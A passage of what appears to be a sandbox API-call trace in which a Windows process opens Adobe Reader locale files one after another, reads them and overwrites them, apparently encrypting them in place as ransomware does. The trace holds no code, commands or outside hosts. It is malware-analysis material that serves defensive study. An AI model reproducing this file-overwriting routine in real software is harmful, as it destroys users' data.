lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.326] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.326] ReleaseMutex (hMutex=0x128) returned 1 [0046.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SVE", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0046.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SVE", cchWideChar=14, lpMultiByteStr=0x1e6312c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SVE", lpUsedDefaultChar=0x0) returned 14 [0046.326] ReadFile (in: hFile=0x170, lpBuffer=0x1da83d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1da83d8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0046.344] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x12000 [0046.344] ReadFile (in: hFile=0x170, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.349] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x12000 [0046.349] WriteFile (in: hFile=0x170, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.350] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0046.350] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0046.350] CloseHandle (hObject=0x170) returned 1 [0046.350] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.350] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.350] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xe2 [0046.351] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.351] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.351] ReleaseMutex (hMutex=0x128) returned 1 [0046.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0046.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0046.351] ReadFile (in: hFile=0x170, lpBuffer=0x1dd1f98, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dd1f98*, lpNumberOfBytesRead=0x304f2bc*=0xe2, lpOverlapped=0x0) returned 1 [0046.351] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0046.351] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66a, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x66a, lpOverlapped=0x0) returned 1 [0046.352] CloseHandle (hObject=0x170) returned 1 [0046.352] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\DigSig.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\digsig.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.352] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.352] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1d200 [0046.352] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.352] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.352] ReleaseMutex (hMutex=0x128) returned 1 [0046.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0046.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.TUR", cchWideChar=10, lpMultiByteStr=0x1e6322c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.TUR", lpUsedDefaultChar=0x0) returned 10 [0046.353] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0046.361] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1c200 [0046.361] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.365] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1c200 [0046.365] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.365] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0046.365] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0046.365] CloseHandle (hObject=0x170) returned 1 [0046.365] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\ReadOutLoud.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\readoutloud.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.366] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.366] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2800 [0046.366] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.366] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.366] ReleaseMutex (hMutex=0x128) returned 1 [0046.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.TUR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.TUR", cchWideChar=15, lpMultiByteStr=0x1e631ec, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.TUR", lpUsedDefaultChar=0x0) returned 15 [0046.366] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.703] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1800 [0046.703] ReadFile (in: hFile=0x170, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.706] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1800 [0046.706] WriteFile (in: hFile=0x170, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.706] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0046.706] WriteFile (in: hFile=0x170, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.706] CloseHandle (hObject=0x170) returned 1 [0046.838] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Accessibility.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\accessibility.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.839] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.839] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xb000 [0046.839] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.839] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.839] ReleaseMutex (hMutex=0x128) returned 1 [0046.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.UKR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0046.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.UKR", cchWideChar=17, lpMultiByteStr=0x1e786cc, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.UKR", lpUsedDefaultChar=0x0) returned 17 [0046.840] ReadFile (in: hFile=0x168, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0046.860] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xa000 [0046.860] ReadFile (in: hFile=0x168, lpBuffer=0x1de6e18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de6e18*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.890] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xa000 [0046.890] WriteFile (in: hFile=0x168, lpBuffer=0x280bd88*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x280bd88*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.890] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0046.890] WriteFile (in: hFile=0x168, lpBuffer=0x280bd88*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x280bd88*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0046.891] CloseHandle (hObject=0x168) returned 1 [0046.891] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\IA32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\ia32.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.892] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.892] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xe00 [0046.894] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.900] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.900] ReleaseMutex (hMutex=0x128) returned 1 [0046.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.UKR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0046.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.UKR", cchWideChar=8, lpMultiByteStr=0x1e6340c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.UKR", lpUsedDefaultChar=0x0) returned 8 [0046.908] ReadFile (in: hFile=0x168, lpBuffer=0x1de1de8, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de1de8*, lpNumberOfBytesRead=0x304f2bc*=0xe00, lpOverlapped=0x0) returned 1 [0046.930] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0046.931] WriteFile (in: hFile=0x168, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x304f2d0*=0x1388, lpOverlapped=0x0) returned 1 [0046.931] CloseHandle (hObject=0x168) returned 1 [0046.931] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\SendMail.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\sendmail.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.931] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.932] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x3e00 [0046.932] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.932] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.932] ReleaseMutex (hMutex=0x128) returned 1 [0046.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.UKR", cchWideChar=12, lpMultiByteStr=0x1e6312c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.UKR", lpUsedDefaultChar=0x0) returned 12 [0046.932] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.944] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2e00 [0046.944] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.951] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2e00 [0046.951] WriteFile (in: hFile=0x168, lpBuffer=0x2806cf8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2806cf8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.951] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0046.952] WriteFile (in: hFile=0x168, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.952] CloseHandle (hObject=0x168) returned 1 [0046.952] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\BRdlang32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\brdlang32.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.952] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.952] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1e00 [0046.952] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.952] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.952] ReleaseMutex (hMutex=0x128) returned 1 [0046.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0046.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHS", cchWideChar=13, lpMultiByteStr=0x1e6342c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CHS", lpUsedDefaultChar=0x0) returned 13 [0046.952] ReadFile (in: hFile=0x168, lpBuffer=0x3a4a588, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x3a4a588*, lpNumberOfBytesRead=0x304f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0046.955] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0046.956] WriteFile (in: hFile=0x168, lpBuffer=0x2806cf8*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2806cf8*, lpNumberOfBytesWritten=0x304f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0046.956] CloseHandle (hObject=0x168) returned 1 [0046.957] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\PPKLITE.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\ppklite.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.957] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.957] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4dc00 [0046.957] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.957] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.957] ReleaseMutex (hMutex=0x128) returned 1 [0046.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0046.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHS", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.CHS", lpUsedDefaultChar=0x0) returned 11 [0046.957] ReadFile (in: hFile=0x168, lpBuffer=0x2806cf8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2806cf8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0046.959] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x4cc00 [0046.959] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.962] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x4cc00 [0046.962] WriteFile (in: hFile=0x168, lpBuffer=0x3a4a588*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a4a588*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.962] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0046.962] WriteFile (in: hFile=0x168, lpBuffer=0x2806cf8*, nNumberOfBytesToWrite=0x8000, 